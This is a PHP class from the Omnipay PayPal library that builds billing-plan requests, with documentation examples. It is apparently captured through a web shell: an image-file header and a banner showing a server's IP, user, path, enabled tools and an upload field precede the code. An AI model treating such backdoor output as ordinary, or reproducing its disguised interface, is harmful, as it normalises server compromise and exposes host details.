����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/vendor/omnipay/paypal/src/Message/ |
Upload File : |
<?php
/**
* PayPal REST Create Plan Request
*/
namespace Omnipay\PayPal\Message;
/**
* PayPal REST Create Plan Request
*
* PayPal offers merchants a /billing-plans resource for providing billing plans
* to users for recurring payments.
*
* After the billing plan is created, the /billing-agreements resource provides
* billing agreements so that users can agree to be billed for the plans.
*
* You can create an empty billing plan and add a trial period and/or regular
* billing. Alternatively, you can create a fully loaded plan that includes both
* a trial period and regular billing. Note: By default, a created billing plan
* is in a CREATED state. A user cannot subscribe to the billing plan unless it
* has been set to the ACTIVE state.
*
* ### Request Data
*
* In order to create a new billing plan you must submit the following details:
*
* * name (string). Required.
* * description (string). Required.
* * type (string). Allowed values: FIXED, INFINITE. Required.
* * payment_definitions (array)
* * merchant_preferences (object)
*
* ### Example
*
* <code>
* // Create a gateway for the PayPal REST Gateway
* // (routes to GatewayFactory::create)
* $gateway = Omnipay::create('PayPal_Rest');
*
* // Initialise the gateway
* $gateway->initialize(array(
* 'clientId' => 'MyPayPalClientId',
* 'secret' => 'MyPayPalSecret',
* 'testMode' => true, // Or false when you are ready for live transactions
* ));
*
* // Do a create plan transaction on the gateway
* $transaction = $gateway->createPlan(array(
* 'name' => 'Test Plan',
* 'description' => 'A plan created for testing',
* 'type' => $gateway::BILLING_PLAN_TYPE_FIXED,
* 'paymentDefinitions' => [
* [
* 'name' => 'Monthly Payments for 12 months',
* 'type' => $gateway::PAYMENT_TRIAL,
* 'frequency' => $gateway::BILLING_PLAN_FREQUENCY_MONTH,
* 'frequency_interval' => 1,
* 'cycles' => 12,
* 'amount' => ['value' => 10.00, 'currency' => 'USD'],
* ],
* ],
* ));
* $response = $transaction->send();
* if ($response->isSuccessful()) {
* echo "Create Plan transaction was successful!\n";
* $plan_id = $response->getTransactionReference();
* echo "Plan reference = " . $plan_id . "\n";
* }
* </code>
*
* ### Request Sample
*
* This is from the PayPal web site:
*
* <code>
* curl -v POST https://api.sandbox.paypal.com/v1/payments/billing-plans \
* -H 'Content-Type:application/json' \
* -H 'Authorization: Bearer <Access-Token>' \
* -d '{
* "name": "T-Shirt of the Month Club Plan",
* "description": "Template creation.",
* "type": "fixed",
* "payment_definitions": [
* {
* "name": "Regular Payments",
* "type": "REGULAR",
* "frequency": "MONTH",
* "frequency_interval": "2",
* "amount": {
* "value": "100",
* "currency": "USD"
* },
* "cycles": "12",
* "charge_models": [
* {
* "type": "SHIPPING",
* "amount": {
* "value": "10",
* "currency": "USD"
* }
* },
* {
* "type": "TAX",
* "amount": {
* "value": "12",
* "currency": "USD"
* }
* }
* ]
* }
* ],
* "merchant_preferences": {
* "setup_fee": {
* "value": "1",
* "currency": "USD"
* },
* "return_url": "http://www.return.com",
* "cancel_url": "http://www.cancel.com",
* "auto_bill_amount": "YES",
* "initial_fail_amount_action": "CONTINUE",
* "max_fail_attempts": "0"
* }
* }'
* </code>
*
* ### Response Sample
*
* This is from the PayPal web site:
*
* <code>
* {
* "id": "P-94458432VR012762KRWBZEUA",
* "state": "CREATED",
* "name": "T-Shirt of the Month Club Plan",
* "description": "Template creation.",
* "type": "FIXED",
* "payment_definitions": [
* {
* "id": "PD-50606817NF8063316RWBZEUA",
* "name": "Regular Payments",
* "type": "REGULAR",
* "frequency": "Month",
* "amount": {
* "currency": "USD",
* "value": "100"
* },
* "charge_models": [
* {
* "id": "CHM-55M5618301871492MRWBZEUA",
* "type": "SHIPPING",
* "amount": {
* "currency": "USD",
* "value": "10"
* }
* },
* {
* "id": "CHM-92S85978TN737850VRWBZEUA",
* "type": "TAX",
* "amount": {
* "currency": "USD",
* "value": "12"
* }
* }
* ],
* "cycles": "12",
* "frequency_interval": "2"
* }
* ],
* "merchant_preferences": {
* "setup_fee": {
* "currency": "USD",
* "value": "1"
* },
* "max_fail_attempts": "0",
* "return_url": "http://www.return.com",
* "cancel_url": "http://www.cancel.com",
* "auto_bill_amount": "YES",
* "initial_fail_amount_action": "CONTINUE"
* },
* "create_time": "2014-07-31T17:41:55.920Z",
* "update_time": "2014-07-31T17:41:55.920Z",
* "links": [
* {
* "href": "https://api.sandbox.paypal.com/v1/payments/billing-plans/P-94458432VR012762KRWBZEUA",
* "rel": "self",
* "method": "GET"
* }
* ]
* }
* </code>
*
* @link https://developer.paypal.com/docs/api/#create-a-plan
* @see Omnipay\PayPal\RestGateway
*/
class RestCreatePlanRequest extends AbstractRestRequest
{
/**
* Get the plan name
*
* @return string
*/
public function getName()
{
return $this->getParameter('name');
}
/**
* Set the plan name
*
* @param string $value
* @return RestCreatePlanRequest provides a fluent interface.
*/
public function setName($value)
{
return $this->setParameter('name', $value);
}
/**
* Get the plan type
*
* @return string
*/
public function getType()
{
return $this->getParameter('type');
}
/**
* Set the plan type
*
* @param string $value either RestGateway::BILLING_PLAN_TYPE_FIXED
* or RestGateway::BILLING_PLAN_TYPE_INFINITE
* @return RestCreatePlanRequest provides a fluent interface.
*/
public function setType($value)
{
return $this->setParameter('type', $value);
}
/**
* Get the plan payment definitions
*
* See the class documentation and the PayPal REST API documentation for
* a description of the array elements.
*
* @return array
* @link https://developer.paypal.com/docs/api/#paymentdefinition-object
*/
public function getPaymentDefinitions()
{
return $this->getParameter('paymentDefinitions');
}
/**
* Set the plan payment definitions
*
* See the class documentation and the PayPal REST API documentation for
* a description of the array elements.
*
* @param array $value
* @return RestCreatePlanRequest provides a fluent interface.
* @link https://developer.paypal.com/docs/api/#paymentdefinition-object
*/
public function setPaymentDefinitions(array $value)
{
return $this->setParameter('paymentDefinitions', $value);
}
/**
* Get the plan merchant preferences
*
* See the class documentation and the PayPal REST API documentation for
* a description of the array elements.
*
* @return array
* @link https://developer.paypal.com/docs/api/#merchantpreferences-object
*/
public function getMerchantPreferences()
{
return $this->getParameter('merchantPreferences');
}
/**
* Set the plan merchant preferences
*
* See the class documentation and the PayPal REST API documentation for
* a description of the array elements.
*
* @param array $value
* @return RestCreatePlanRequest provides a fluent interface.
* @link https://developer.paypal.com/docs/api/#merchantpreferences-object
*/
public function setMerchantPreferences(array $value)
{
return $this->setParameter('merchantPreferences', $value);
}
public function getData()
{
$this->validate('name', 'description', 'type');
$data = array(
'name' => $this->getName(),
'description' => $this->getDescription(),
'type' => $this->getType(),
'payment_definitions' => $this->getPaymentDefinitions(),
'merchant_preferences' => $this->getMerchantPreferences(),
);
return $data;
}
/**
* Get transaction endpoint.
*
* Billing plans are created using the /billing-plans resource.
*
* @return string
*/
protected function getEndpoint()
{
return parent::getEndpoint() . '/payments/billing-plans';
}
}